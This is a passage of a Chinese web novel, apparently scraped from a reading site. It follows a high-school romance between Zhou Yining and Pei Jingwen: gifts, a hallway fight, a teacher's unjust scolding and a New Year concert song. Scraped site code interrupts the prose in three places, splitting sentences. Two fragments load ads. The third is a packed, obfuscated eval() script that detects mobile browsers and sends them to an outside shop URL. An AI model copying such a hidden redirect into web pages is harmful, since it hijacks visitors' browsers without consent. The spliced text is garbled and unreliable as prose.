“周妹妹是一般人吗?”程泽扬观察了几秒,他双手撑着后脑勺,一脸高深,“依我看,要让妹妹注意到裴裴,得先把眼中钉解决了。” 江从南:“?” “你猜女生眼中的理想型,能差点跟咱们裴少打成对手的是谁?” 江从南不太相信,“……总不能是谢意泽吧?” 眼见少爷更不爽了,程泽扬挤眉弄眼:“那小子存在感太强了,要么你跟妹妹换位置,要么让老赵把他调开。” “毕竟追女孩,得有行动力啊。” “……” 他冷嗤一声,唇角扯了扯,不为所动:“我看起来很无聊?” 留下这句话,他把手机揣兜里,径自进了教室。 然而刚站门口,看见过道又多了把椅子,脸色变得更加黑沉,不禁低声爆了句粗口。 操。 真烦。 大课间铃声刚响,他从座位上起身,熟门熟路来到办公室。 得到“进来”的许可后,他推门,主动蹲下身帮老赵整理刚印刷好的复习资料。 “太阳打西边出来了?”赵临风撇了他一眼,“裴少百忙之际,还能想起来找我啊?” 裴京闻手速很快,几沓资料很快分门别类装订好。 他一向跟赵临风关系处得很好,听见这打趣,眉眼难得乖顺:“这不找您商量个事儿吗?” 赵临风坐回椅子,抬眼问:“啥事?说。” “您给我和周宜宁换个位置呗。” 赵临风不疾不徐抿了口茶,慢悠悠道:“不是你要求坐那吗?而且各科老师都说谢意泽坐那以后,跟你们也是三强联手。” 裴京闻连装客气都不想装:“我同桌有我辅导就够了,不需要别人。” 看他这理直气壮的态度,赵临风瞬间来气:“混小子,整天给我惹是生非,让我给你处理烂摊子,好意思提要求?” 见老赵吹胡子瞪眼,裴京闻不紧不慢给他顺毛:“这不是我准备想有个认真学习的环境嘛。” “只要您答应我,我保证以后朝三好学生方 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 向发展。” 一秒,两秒。 赵临风一脸狐疑盯了他整整半分钟,眼见这小子一本正经,转念想到他还算说到做到,沉吟片刻后,他总算点头。 不过语气也没客气:“你要再敢动一次手,立刻给我滚蛋。” 警告完,他清了清嗓子,刚好说起另外一件事,“下个月京大保送考试,你好好准备。” “成。” — 对于期中考试后,谢意泽换去另一组的真实原因,周宜宁自然无从知晓。 晚自习时,她看着刚发下来的答题卡,尽管清楚总分,但看清快一半的叉号和鲜明的“65”,鼻尖仍旧有些酸涩。 明明她已经很努力了,中之前的大小考中,物理成绩也有所提升,但这次还是差得出乎意料。 等到课间,她有些泄气地趴在桌面,目光落在窗外斑驳摇曳的树影上。 几缕叶子悄然落在地面,被风卷向远方。 原来不知不觉,高三已经过去了两个多月,后黑板的倒计时首位也由“2”变成了“1”。 她轻叹一声,重新坐起来,拿起红笔认真改错。 “这里公式带错了。” 猝不及防,一道熟悉的低沉嗓音落在耳畔,尾音模糊得勾人。 短暂的怔愣后,她慌不迭抬头,正撞进一双带着些漫不经意的眸子。 半个多月没见,他的额发明显长了些,头顶的白炽灯将他的侧脸轮廓投在书页上。 周宜宁沉寂许久的心脏,倏地怦怦跳动,眼底的欣喜连她自己都没察觉。 “你……”话一出口,她才发现嗓音有些轻颤,连忙闭嘴。 “怎么?见到我这么激动?”男生越过她落座,见她仍旧和自己保持距离,低低一笑:“坐那么远,怕我?” 好半晌,周宜宁才控制住凌乱的呼吸,尽量目不斜视:“没有。” 他扫了眼两人中间能开一条过道的距离,又看向周宜宁邻桌是两个女生,不禁加深了唇角的弧度。 “想知道答案?”他拿起笔,轻笑出声,“题目的条件,要考虑控制变量。” 似乎是一路奔波,他的声线有些懒散,仔细听来还带着点哑,明显是没休息好,但又带了些磁,震得人耳骨泛软。 但他的语言表达力一向很出色,尤其是逻辑思维,周宜宁心底的那点异样,也很快在他的讲解下化解。 课间短短十分钟,他提供了不止一种思路,还举了例子让周宜宁触类旁通。 听完后,周宜宁瞬间有了茅塞顿开的感觉。 “你好厉害啊,”少女眉眼弯弯,杏眼里似有星光:“谢谢你。” “这就厉害了?” 男生懒懒靠着椅背,不知从哪里摸出一个纸盒,放在她的桌子上。 周宜宁:“?” 有些没反应过来他这是什么意思。 裴京闻眼尾上挑,解释道,“谢礼。” 不等她发问,他倏地侧身,笑容吊儿郎当:“外公给的。” 见周宜宁眸色更不解,他故意语调一转,倾身上前,一本正经说:“他老人家对字画非常满意,特意让我送给他未来孙媳妇的。” 11.亲昵 话落的那一刻,周宜宁只觉空气变得滚烫,原本稍稍平定的心跳,在分清这句话是什么意思的时候,重新陷入更剧烈的跳动。 那双看谁都深情的眼眸极其专注,仔细看似深邃星海引人沉溺,但唇角的笑又有些戏谑的痞。 不知用了多大的力气,周宜宁才找回些理智。 这人又混又不正经,她实在不想被他的一句话扰乱心绪,只能用指尖缩进掌心,磕磕绊绊说:“你……你不要和我开这种玩笑。” 说完这句,少女因羞赧而满脸通红,恨不得挖条地缝钻进去。 只漏出一小截被马尾遮敛的脖颈,又白又细,乖得要紧。 也格外晃眼。 莫名的,裴京闻只觉心底有种无法控制的燥热,连带嗓子都有些涩。 “害羞了?”他撩起眼皮,结果还没再出声,只见周宜宁转身瞪了他一眼,严肃道:“你再说话,我就记名字了。” “……” 得,难得硬气一次,还是对他的。 裴京闻扯了扯唇,倒也知道见好就收。 周宜宁慌乱打开试卷,暗暗深呼吸要几次,强迫自己投入对题目的思考中。 下课铃声响起,她正要起身,书包带子忽然被拽住。 “……你干什么?” 眼见她又紧张又羞恼,裴京闻往前走了一步,高大的身影靠近些,笑得招人:“你觉得呢?” 没等她发作,裴京闻江纸袋塞进书包侧边,眼眸沾了些邪性,“再拒绝,我就真对你做点什么了。” 说这话的时候,他唇角的弧度暧昧而散漫,完全是一个又野又混的痞子。 周宜宁:“……” 以免被同学们注意到她这角落,只能胡乱答应,拿起书包拉着刚收拾好的严可薇外面跑。 “等等等下,”跑到校门口,严可薇捂着胸口喘得厉害,“宁宁,你又没被狗追,干嘛跑这么快。” 她小声应和:“……他就是狗。” 严可薇:“……?” “没事,”好友似乎看穿一切,周宜宁耳根微红,赶忙扯开话题,“我作业没写完,想早点回家去写。” “不愧是我自律上进的宁宝,”严可薇靠在她胳膊上,生无可恋,“为什么要高考啊?” 她轻笑出声,安慰道:“为了以后有更多的选择权啊。” “学霸的觉悟就是高,”严可薇一脸佩服,“苟富贵,勿相忘,我最好的姐妹宁宁,以后记得带飞我。” “我们薇薇也很优秀呀,”周宜宁真诚回应,眼含憧憬,“你也要记得我。” “那必须!”严可薇忽然挑眉,故意叹气:“就怕你被某只狗勾走,心里没我的位置了。” 周宜宁:“……” — 一路和好友闲聊,周宜宁内心那些翻涌的燥热,最终在晚风的吹拂下,逐渐慢慢变得轻松。 ……或许,他对自己,好像真有那么一点点在意。 只是在校门口,刚跟好友道别,一道娇俏的声线忽然从路对面传来—— “裴京闻!这里!” 周宜宁呼吸一紧,迈出的脚步悬在半空中迟迟没有落下。 “你怎么来了?” 少年斜挎着书包,懒懒回应,唇角挂着倦怠的弧度。 因为背光而站,裴京闻并未注意到她。 周宜宁抬眼看过去,入目的车身是加长版,隐约还有细钻闪烁的微光。 隔着半人高的车门,她看到了女孩的侧影,黑发披散在身后,毛衣配及膝的百褶裙,露出的双腿修长而笔直。 简单的穿搭,但女孩清澈不失优雅的气质,一看就是娇养出来的。 周宜宁握住双肩包的动作僵硬下来,视线不禁看向洗得泛黄的鞋尖。 女孩仰头,直视比她高许多的少年,粉嫩的唇抿起:“当然是着急见到你啊,好不容易放假,你也不来看我。” 声线清甜,细听之下难掩亲昵。 大概是风声太大,听不清他怎么回应,但接下来两人一同坐上后座的举动,明显看出,他们的关系非常亲近。 周宜宁抿抿唇,等那辆车驱动,她才用极快的速度向反方向走去。 直到回到出租屋,她才恢复了被冷风吹得慌乱的感知,看着书包侧边的纸袋愣神。 良久,她才不动声色扯了扯唇,起身去卫生间洗漱。 看向镜子里的黑眼圈,她打开水龙头,用香皂洗了好几遍,发现并未洗干净。 索性放弃,任由冰凉的水流浸润手指。 ……她到底在妄想些什么啊。 从一开始,不就知道裴京闻和她是两个世界的人吗? 他那样的天之骄子,身边根本不缺漂亮的女孩追,有太多太多的选择权。 怎么会对长相平平无奇的她心动呢? 她又用冷水擦了一遍微微肿胀的双眼,才回到书桌前,闭了闭眼,把纸袋塞进衣柜里。 一定是最近学习还不够投入,才有时间胡思乱想。 高考在即,她输不起。 也不能输。 — 车里的人并未察觉到这一幕。 自从赵临风和他提了京大的保送考试后,为确保争夺省状元万无一失,南中还给他报了数竞赛,送他去京北参加特训。 好不容易结束考试,他给外公过完生日,当即打电话问裴舒语送喜欢的女孩什么礼物合适。 那边愣了半晌,像是听见了什么不得了的消息:“稀奇啊,渣男也有单相思的时候?” 裴京闻:“……” 被“敲诈”了一笔钱后,裴舒语好心提供完建议,就被对方无情挂断电话。 终于,在他怎么挑都不满意,把国外的发小烦不胜烦,才挑中了一条玛格丽特手链。 花如其人,美好坚定。 迫不及待送给周宜宁,直到坐上车好一会儿,他的心情都极其愉悦。 “这么开心?”裴舒语撑脸看他,好奇道:“难道人姑娘答应你啦?” 她在自由度极高的京高读书,对于学生交往,只要不影响成绩不做出格的事,学校是默许的。 所以并不觉得裴京闻谈对象有什么问题。 裴京闻懒懒靠着后座,轻挑眉梢,不置可否。 只是在急刹车时,一本正经挡住裴舒语不受控靠近的身子。 裴舒语忍不住迷惑:“?” “保持距离,”裴京闻一本正经,“别让你未来嫂子吃醋。” 裴舒语:“……呵呵。” 骚还得是你。 裴舒语翻了翻白眼:“人姑娘答应你了吗?” “迟早的事。”说着,他摸出手机,给那个早就从赵临风那打探来的号码发了条消息: 【拆开看了吗?】 周宜宁看到时,已经是晚上十一点半准备睡觉。 因为中途转来南中,除了严可薇和何沅的手机号,其他的都没存。 所以京北地区的陌生号码,她以为是垃圾短信,直接选择删除。 结果隔天去学校,一道明显幽深的视线,从她进教室门就一直追随着。 周宜宁:? “为什么不回我信息?” “什么?”周宜宁一时没反应过来。 “我问你打开看了没的短信。”男生兴致恹恹的,明显没睡好。 后知后觉想起那条被她漠视的消息,她耳根微热,避开他的目光,“……我睡得早。” “我等了你一晚上,”裴京闻凑过去,嗓音有些哑:“你打算怎么补偿我?” 周宜宁:“……” 即使昨晚已经做好心里建设,但对上那张漂亮至极的脸,还是无法做到心无波澜。 他说等了她一晚上,可昨天晚上他明明和别人一起回去。 唇角动了动,不知该怎么回应。 他真得需要她的补偿吗? “逗你的,”见她垂眸不语,裴京闻低低一笑,眼尾泛着点红:“我睡会儿,你帮我看着点。” 留下这句话,他顶着语文课本,直接睡过去。 熹微的晨光下,少年侧脸有些朦胧,黑发柔顺垂在额前,平时的戾气和张扬被矜贵取代,倒显得他有几分温柔。 直到老师的脚步声响起,有些混乱的大脑才缓过神。她暗暗深吸一口气,强迫自己压下不该有的心思。 接着,她例行公事轻声喊醒裴京闻,投入进紧张的文言文背诵状态。 — 早读下了,周宜宁意识到自己对他的心思好像越来越强烈,只能用更紧迫的复习方式冷静。 并且平时以学习为借口,很少和他有除了必要问题时的任何交流。 而裴京闻这段时间断断续续去参加各种竞赛,并未发觉她的主动躲避。 周宜宁微微松了口气。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这样,她才没有心里负担,更能心无旁骛。 当她的状态完全沉浸下来时,伴随稳步提高的分数,还有越来越冷的温度。 穿上冬季冲锋衣的那天,一场久违的雪在冬至悄然飘落。 都说南方人的执念是大雪,压抑许久的高三学生全都坐不住,趁大课间,成群结队跑在楼道扔雪球打闹。 有几个男生不知是不是太倒霉,还是章校长巡楼巡得太及时,手里的雪球刚好砸在章俞光溜溜的头顶上。 加上那圆润的身姿,和被气得差点冒烟的七窍,看起来非常滑稽。 几人实在憋不住,笑得眼泪都快流出来了。 趁章俞胸口起伏得厉害,赵临风决定先发制人。 “又是你们几个混崽子!实验班是待不下你们了是吧?说多少遍不许在楼道追逐撵打,都给我往办公室滚!” 楼下还有巡查安全的校长,章俞不好发怒,只能僵着脸快步离开。 等外面的闹腾平静下来,严可薇实在闲不住,来到周宜宁的位置。 她小声恳求,“宁宁,这么好的天气,就陪我出去玩嘛。” 周宜宁抬眸看了眼钟表,距离上课还有十分钟,只好放下笔起身。 从教室门外的栏杆望去,天地一片白色,也为高大的树木换了身雪白的新衣。 “他朝若是同淋雪,此生也算共白头,”严可薇拿出最新款的手机,兴致勃勃拍照:“呜呜呜宁宁我和你圆满了!” 正感慨着,她找好角度一脸兴奋:“宝贝看镜头!” 她下意识抬眸,猝不及防的抓拍,本就清俪纯澈的相貌,在漫天大雪中更加出众。 “呜呜呜宁宝好美好美!”严可薇忍不住夸赞,“快,你往后走一走,我再拍几张。” 被真诚夸赞,周宜宁腼腆一笑,虽然大庭广众之下拍照有些羞赧,但她也不忍心拒绝好友的好意。 她顺从往后退的时候,因注意楼道四处乱飞的雪团,却没注意后面有人靠近。 好巧不巧正是养好伤的章其,大概是恶趣味,吹着口哨直接伸出脚。 周宜宁被勾了一个趔趄,差点重心不稳,呈仰躺姿势向栏杆倒去。 好在有人眼疾手快,熟悉的清香袭裹鼻尖,还有一道蓝色身影迅速伸出手,扶住她的后腰,帮她稳住身形。 怔愣间,周宜宁下意识望向来人,呼吸紧紧揪起。 少年身形挺拔,此刻的眉目冷倦,唇角分明勾起,但那笑怎么看都带着点戾气。 还是严可薇急切的询问才让她回神,“宁宁,你怎么样?有没有哪里伤到了啊?” 周宜宁轻轻摇头,视线并未从裴京闻的身上离开。 “你、你瞪我干什么?”章其底气不足,但还梗着脖子爆粗,“是她眼瞎,先往我怀……” 话没说完,嘴角结结实实挨了一拳。 他微微收敛下颚,晦暗不明的眼底满是桀骜:“老子的人,你也敢动?” 短短几个字,锋芒毕露,震惊了正要上去给章其两脚的严可薇。 ……大佬这话,是她想的那个意思吗? 周宜宁心尖狠狠颤动,顾不得其他,连忙喊他的名字,担心因自己他被连累背上处分。 哪知章其实在人菜瘾大,只觉唇角有温热流下,他摸了一把发现是血,顿时炸了,“裴京闻,我操.你——” 骂人的话还没说完,右脸再次肿起。 裴京闻掀了掀眼皮,半笑不笑凑近他:“不会说话是吧?要不要爹教你?” “裴少,裴大佬,裴神,手下留情啊手下留情,”跟班们连忙讨好求饶:“都是误会,我们替章哥道歉。” 交过几次手,跟班们早就被打老实了,担心又章其连累,连忙捂嘴不让他找死,鞠躬给周宜宁道完歉,连跪带爬拽着人离开。 周宜宁张了张口,心潮如海浪翻涌,好多话到嘴边,却怎么也说不出口。 最终只化为一句,“对不起……” 这是第二次,他因自己而动手。 周宜宁不禁低垂眼眸,鼻尖泛起愧疚的酸涩。 这样泫然欲泣的样子,看得他心口收紧,硬生生忍住冲动。 裴京闻上前,唇角勾起,透着点漫不经心:“真内疚的话,就跟我走。” 周宜宁愣住:“……去哪?” 他再次逼近,笑容又痞又坏:“当然是去领证啊。” 12.雏菊 他的笑意太浪荡不羁,不由得让周宜宁将这很正常的七个字联系起来,就像一束绚烂的烟花,在她的耳朵里炸开。 一秒、两秒。 足足呆滞了十秒,周宜宁才缓缓拼凑起这句话的意思,瞬间耳根通红。 “……什、什么证?” 周宜宁又惊又怒,说话也磕磕绊绊的。 他们站的地方,刚好是拐角处,并不引人注目,也只有严可薇在场。 好不容易从裴京闻那句“我的人”缓过神,就听到更炸裂的一句。 她简直要怀疑是自己理解力出问题了。 ……领证,是她想的那个证吗? 更难以置信的是,宁宁不是每天都跟她三点一线吗,什么时候跟裴京闻走这么近了? 越想越晕乎乎的,不等脑袋辨清现在是什么情况,嘴先一步不带喘的:“宁宁我忽然想起来卷子还没刷完先走了拜拜。” 雪花迎面吹来,男生高大的身影挡在她面前,只剩温暖的呼吸声。 “团员证啊,”他慢悠悠顿了一下,意味深长:“怎么?难道你想领别的?” “别急,你还没到年龄呢。” 他的语调一如既往混不吝,加上招人的长相,很难有女生能控制住不多想。 周宜宁:“……” 怦怦的心跳回笼,懊恼与尴尬交织,让她恨不得原地挖条缝钻进去。 明知道这人混到骨子里,她还是很不争气,会因一些撩拨的话动摇心思,周宜宁索性撇开眼。 “没有,”她暗暗压住呼之欲出的紧张,只说了句:“我、我先去找老师了。” 少女几乎是小跑着,很快和他拉开距离。 高马尾随着她的动作微微晃动,在漫天飞雪的衬托下,整个耳廓的红晕就更加明显。 大概是察觉他还没跟上,少女在楼梯口放慢了脚步。 仅隔了栏杆,那双清亮的眸子试探性朝他看来,却在对上他视线的那一刻,触电般收回去。 啧,脸皮真薄。 仍旧是那副吊儿郎当的架势,他单手插着兜,三步并作两步跟上。 到了办公室,周宜宁不着痕迹和他拉开距离。 他挑了挑眉,故意往她那边靠了靠,结果刚挪半步,对方就如临大敌般挪了一步。 裴京闻:“……” 他长得很吓人么? 离这么远,有点脾气全用他身上了。 赵临风显然没注意到这俩人的小动作,他把刚盖好章的团员证摊开递过去,“混小子,这些证这么重,你站那是让宜宁全拿啊?” 他先周宜宁一步接过,嗓音依旧懒洋洋的:“我可不敢让她辛苦。” 周宜宁不好意思两手空着回去,犹豫几秒,主动走到办公桌前:“我帮你吧。” 裴京闻却没回应,视线只停留在最上面的两本。 是他和周宜宁的。 还以为信息有问题,她想靠过去仔细看,耳畔却传来一道极轻的声线。 “你看这照片,像不像——” 灯光下,少年深邃的眼底沉溺星光,连头发丝都沾染温柔。 他刻意用两个人能听见的音调,等周宜宁投来疑惑的眸光,才歪着头:“结婚证用的啊。” — 因为这句话,周宜宁站在风口好长时间,才彻底平复如波澜起伏的心潮。 回到教室时,晚自习已经开始。 尽管已经做好心理建设,但她抬眼扫向座位时,仍控制不住的紧张。 好在,裴京闻不知干什么去了并未回来。 悬着的那根弦瞬间松散,她轻手轻脚走过去,拉开凳子拿出套题。 周宜宁刚做了一道数学大题,只听右前方传来一道悄摸说话的声音。 甚至越来越过分,夹杂着笑声。 本来不太明显,但临近全市一模,全班都沉浸刷题,整个教室安静得落针可闻。 出于学委的职责,她正准备提醒那名女生不要讲话,前面被打断思路的男生冷着脸:“能安静点吗?” 短暂的停顿后,察觉到周围不善的探视,同桌连忙低下头,若无其事写作业。 倒是孟青妤脸面挂不住,故意猛推一把桌子,“又没跟你说话,你急什么?” 梁今复毫无防备,幸好同桌眼疾手快扶了一把,才没让他掉下去。 眼见两人情绪激动,周宜宁反应迅速,及时冲出去喊老师阻止,教室才恢复安静。 两人在走廊罚站,没几分钟,周宜宁也被叫出去。 今晚巡楼的是生物老师崔国明,一脸不满:“这几个已经被我教育过了,你有没有想过你也有问题?” 周宜宁愣住。 “你这学习委员怎么当的?连实验班优等生的纪律都负责不了,等他们吵起来才想到找我,说到底还是你不称职,”崔国明语气严肃,吼声都能掀翻教室,“何况你还偏袒梁今复!把责任全往孟青妤身上推!” “老师,我……” “没有”两个字还没说出口,就被崔国明生气打断:“犯错还不承认,这就是你们小镇走出来的学生吗?品行不端还谈什么成绩!” 周宜宁从小打大,从未被哪个老师用如此犀利的言辞批评过,连她辩解的机会都不给。 委屈的泪水瞬间盈满眼眶,她张了张嘴,但崔国明看都不看她:“你就在这好好反思,孟青妤你去,老师相信你知错能改。” 说完,他捧着保温杯慢悠悠转去办公室。 “某些人能力不服众管不住纪律,还喜欢讨好男生,真是枉费老赵信任,”孟青妤翻了翻白眼:“被拆穿就露出这幅委屈样,好像谁欺负你了。” 冷风吹过,周宜宁混乱的思绪稍稍清醒了些。 面对嘲讽,她只是平静出声,“我会去找赵老师查监控的。” 没管孟青妤什么反应,她很快整理好情绪,拿出物理套题认真思考。 在办公室被劈头盖脸骂了一顿,梁今复刚到教室就得知崔国明的处理结果,冲出去说,“对不起啊周宜宁,我去给崔国明解释!” 周宜宁轻轻摇摇头。 教室里那么多人,如果真想知道真相,崔国明随便喊一个出来就能清楚。 事实却是他不分青红皂白认定是她的错,明目张胆包庇孟青妤,怎么会听解释呢? 只是她想不通,她和孟青妤以前完全没交集,怎么忽然开始针对她了? “没关系,”周宜宁收回思绪,眸色坚定:“教室有监控,赵老师会处理的。” 见她埋头做试卷,夜空满布的飞雪在她身后自成背景,显得她整个人更加从容娴静。 不知怎的,梁今复有些移不开眼。 好在距离下课就几分钟,严可薇赶忙冲出来给她冻得通红的双手套上手套:“宁宁,我的手套给你。” 何沅也给她戴上帽子:“快,戴好就不冷了。” 刚才被崔国明冤枉时,她再委屈也没掉泪,但此刻两个好友无条件信任,泪水不争气夺眶而出。 “怎么还哭了啊?”严可薇手忙脚乱,“可恶的崔啰嗦真瞎,看不出跟我们宁宁什么关系都没有吗!” 何沅赶忙递过去纸:“别哭别哭,赵哥要是不能给你申冤,他就不再是我男神了!” 两人的安慰,才让周宜宁缓解了低落的情绪,她朝两人真诚道:“有你们真好,快回去吧,我值完日就回。” 本想留下帮她打扫,但考虑雪天难行,周宜宁坚持让她们先回去。 “你们走吧,我留下帮忙,”一直没说话的梁今复主动应声,“本来就是因为我,我保证把周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042957|136993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同学安全送回家!” 有个男生陪同,严可薇总算放下心。 “那你们快点哦,”何沅朝她挥挥手,“有事记得打电话。” 推脱不过梁今复的好意,她只能答应。 为了高效完成任务,等教室人差不多都离开,两人分工扫地和拖地。 她拿起扫把,从第一组认真往后清扫,只是到第二组,地面不仅有许多零食袋,还有油渍。 不用猜都知道谁的手笔。 她不自觉咬紧唇瓣,来南中以后的事情走马观花般浮现在她眼前。 她以为南中的老师都像赵临风和林玫那样,用真心对待学生。 结果她人生第一次在学校挨骂,竟只是因为崔国明的私心。 可是她做错了什么? 就在她的思绪凌乱时,手背忽然覆盖了一层温热。 怔愣间,她猝不及防撞进那双熟悉的深邃黑眸。 “他让你站就站啊。” 这是裴京闻说的第一句话。 冷淡的语调,明显压抑着戾气。 “真傻啊你。” 这是第二句。 “你……”她张了张口,明明他的语气不凶,自己却很不争气哽咽。 到最后,都变成低声啜泣。 “哭什么?”少女蹲在地上,双手掩面,他明显慌了,想要把人拉起来。 结果他横过去的手背,直接被咬住。 “出息了这是,”裴京闻不怒反笑:“学来的脾气,都用在我这了?” 周宜宁不说话,嘴都没松。 “学会用嘴了?”他笑意轻挑,在她耳畔低语:“要不我教你怎么咬更疼。” 一句暧昧不清的话,瞬间让周宜宁从低落的情绪中缓过神。 她撇开眼,耳根红得几乎滴血。 “不哭了?”裴京闻斜靠着桌子,忽然问了句不着调的话,“喜欢小雏菊吗?” 大脑空白片刻,她愣愣点头。 “拿着。”裴京闻不由分说把一只锦盒塞她校服口袋里:“你敢拒绝,信不信我咬回去?” 话是这么说,但周宜宁明显能感觉到那双意有所指的视线,明晃晃落在她的唇上。 “……你无赖。” 胸腔的心跳仿佛要冲破耳膜,胡乱扔下这句话,连忙拿着扫把掩饰慌乱。 “不无赖怎么追你?”少年笑意不减,嗓音依旧不着腔调,看起来没个正经。 周宜宁:“……” 她觉得自己越来越不正常了,那些曾被她深埋的心动,这一刻全都化为怦怦狂跳。 他就像一团有无数星子围绕的烈火,明知越靠近越危险,但她还是忍不住沉溺其中。 可能他的话太过直白,而神态依旧懒散不羁,似是玩笑,也似乎是认真,心尖的颤动很快就被失落填满。 所以,她也很轻松克制得住。 她这样卑微如尘埃的人,跟他本就不属于同一个世界,又怎么能让他认真呢? 她轻轻呼出一口气,用了比平时多太多的勇气,才让呼吸平静,“……别跟我开这样的玩笑。” 不知是哪个字惹恼了他,裴京闻原本藏匿细碎笑意的眼眸忽然黑沉下来。 或是说服自己,或是躲避现实,她闭了闭眼,“高三很重要,我、我现在没有时间去想别的。” 对她来说,想摆脱命运只能通过高考,所以心底那簇火苗再热烈,她都必须按耐住。 当断不断,反受其乱。距离高考只剩半年,她不能再有任何的妄想。 “谢谢你来安慰我。” 他扯了扯唇,眸色冷淡至极。 以免再次因为他的一句话而患得患失,顿了几秒,她鼓起勇气望过去。 “所以……以后也请你不要开这样的玩笑。” 13.体温 回到出租屋,周宜宁在无声的黑夜里,趴在桌子上低低哭泣。 不知过去多久,她似是下定决心,起身把未拆封的锦盒和纸袋,一同缩在柜子深处。 而后,她打开台灯,在便利贴写下一模的目标,认真制定好复习规划。 事实证明,每天长达十五个小时的学习,才能克制自己,不去因他的一句话或一个眼神分心。 偶尔她也会在学习极其茫然的时候,不自觉想起他讲题的样子。 认真端正,只是看她时,总带点不正经。像发酵的米酒,酸甜交织,却舍不得忘记。 在这样高强度的复习节奏下,她基本没精力胡思乱想,经历了进步幅度很大的月考,暂停在元旦庆典这天。 南中惯例,会给高三一晚上的时间去疯玩,甚至还允许每个班出节目。 据说今年还把学子长廊设成许愿架,允许高三生去挂许愿牌,不过时间仅限当晚。 最后一节课是物理,下课铃还没响,见同学们都躁动不安,又气又无奈,“行了,来把心愿卡发下去吧。” 教室里瞬间激动成片,大家一边收拾去看晚会的零食,一边高声给赵临风表白。 “芜湖~赵哥你是我男神!” “哇哇哇临风哥今天真玉树临风!爱死你了!” “赵哥!我爱你爱到想原地嫁给你!” 不知是哪个调皮的男生喊了句,逗得众人哈哈大笑,瞬间掀起更大的笑闹声。 在这样难得放松的时刻,周宜宁长期紧绷的心弦也松缓下来,对晚上也有了些期待。 只是看到旁边空了好几天的座位,心里不免塞进满满的失落。 “宁宁,再不走就抢不到好位置啦。”不等她出神,严可薇一脸兴奋催促。 何沅忙跟上:“等我一起呀——” 夜色黑沉,整个南中灯火通明,几人手挽手聊着天,穿过人潮沸腾的天桥,来到种满紫藤的学子长廊。 学校很重仪式感,提前布置好现场,在树干和藤蔓间绑好长绳,还有“新的一年,新的征程”“新年快乐,前程似锦”等横幅。 此时,大家都找心仪的位置挂上心愿卡,少数情侣在一阵起哄声中,由男孩抱起女孩挂在最显眼的位置。 在这样的氛围下,周宜宁自然有所触动。 她拿出记号笔,思绪万千,最终只克制加速的心跳,在卡片写下了早就想好的几个字。 “愿他,愿我,愿我们,得偿所愿。” “宁宁写好了吗?” 听见严可薇的询问,她应声,偷偷捂住心愿卡,不敢让好友看见。 “我们宁宁有秘密了,”何沅笑容意有所指:“就是不知道这秘密关于谁的。” 周宜宁耳根微红,小声否认:“没有。” 知道她脸皮薄,两人挤眉弄眼,也没再打趣。 寻找好位置,她在两人的帮助下爬上护栏,双手绑好细绳,目光坚定且虔诚。 清风吹过,风铃叮咚作响,似是在回应少女一笔一画织好的梦。 — 这次晚会是南中一年一度的大型活动,几千多人早早聚集在舞台下,嗑瓜子聊聊天,到处洋溢着青春的气息。 快步赶到操场时,人群都快挤出围栏。 好在严可薇早就拜托男生帮忙占位置,拉着两人像条游鱼,轻易就找到班级。 严可薇摸出饮料递给江从南他们,跟变戏法一样,从口袋里掏出各类小零食。 “今天都别跟我客气,”她豪气挥手,朝一脸震惊的周宜宁神秘勾唇,“据说今晚有你家裴大佬的节目,这个给你。” 不给她拒绝的机会,又把准备好的荧光棒塞给她:“待会儿记得给裴大佬当气氛组。” 周宜宁:“……” 聚光灯忽然集中在舞台,率先由校长进行慷慨激昂的新年致辞。 知道今天学生都期待晚会的重头戏,只讲了两分钟就在海浪般的掌声中结束。 回过神,周宜宁一直记得严可薇说有裴京闻的节目,从开场舞开始,每次主持人报幕,她都没来由紧张。 她又忍不住垂眸,为自己的一惊一乍而懊恼。 原以为自己可以心如止水,不曾想主持人的一句“裴京闻”,饶是身处掌声满天的氛围,她仍旧听到震耳欲聋的心跳声。 他穿着最简单的校服,低头时额发挡住眉眼,握住吉他坐在立式麦克风跟前,手指骨节分明,极具观赏性。 当舞台灯换了柔和的色调,打在那张轮廓分明的脸上,原本喧闹尖叫的全场竟神奇般安静下来。 他就像有一种魔力,哪怕只站在那,就有成为世界中心的资本。 手指拨动琴弦,那道带有少年意气的嗓音通过话筒,拨动深冬寒夜的风,穿透整个操场。 Vanished when I saw your face[在我看见你的一瞬间,荡然无存] …… it was enchanting to meet you[遇见你我就像着了魔] …… Please don''t have somebody waiting on me [可不可以,别让我等待] 带了电流的嗓音又低又磁,每一个字母都是标准的英式调,清晰而富有节奏感,带动全场拿起手机灯和荧光棒为他捧场。 尤其是那句[别让我等待],原句的[他人]被他改成[我],他仰起下巴,白皙修长的脖颈拉直,领口微微敞开,露出性感的喉结。 恰好,汗珠沿下颌线滑落进锁骨,更显得整个人野性难驯。 瞬间引起此观众更疯狂的情绪,尖叫声和表白声此起彼伏,穿透力极强。 “啊啊啊裴神你是在向谁表白吗!——” “裴京闻你帅死我!!” “裴神!!你选我,我不会让你等的!!” 就连坐在第一排的老师们,目光也不禁被灯光下的少年吸引,热烈为他鼓掌。 隔着人海茫茫,周宜宁的眸光不受控追随他,随着歌词越来越往后,如鼓的心跳也越来越震耳。 遇见他,自己何尝不是着了魔? 四目相对的瞬间,她好似看见了流淌万千温柔的星河。 虽然这星河,可能不属于她。 可能现场感染力太强,她不由自主举起荧光棒,与人群中一起为他喝彩。 即使距离很远,她只能翻阅数不清的人群遥遥远望,那一刻,她鼓起勇气,用手机定格这一幕。 很模糊,但她心满意足。 十七岁她一见钟情的少年,就该在最张扬恣意的年级,永远闪闪发光。 — 精彩纷呈的晚会结束,周宜宁再次将所有的注意力都集中在月底的期末考试。 自从裴京闻满目深情唱了那首嗨翻全场的《enchanted》,众人都在传裴大佬用眼神告白,好奇能入他眼的女孩到底是什么样。 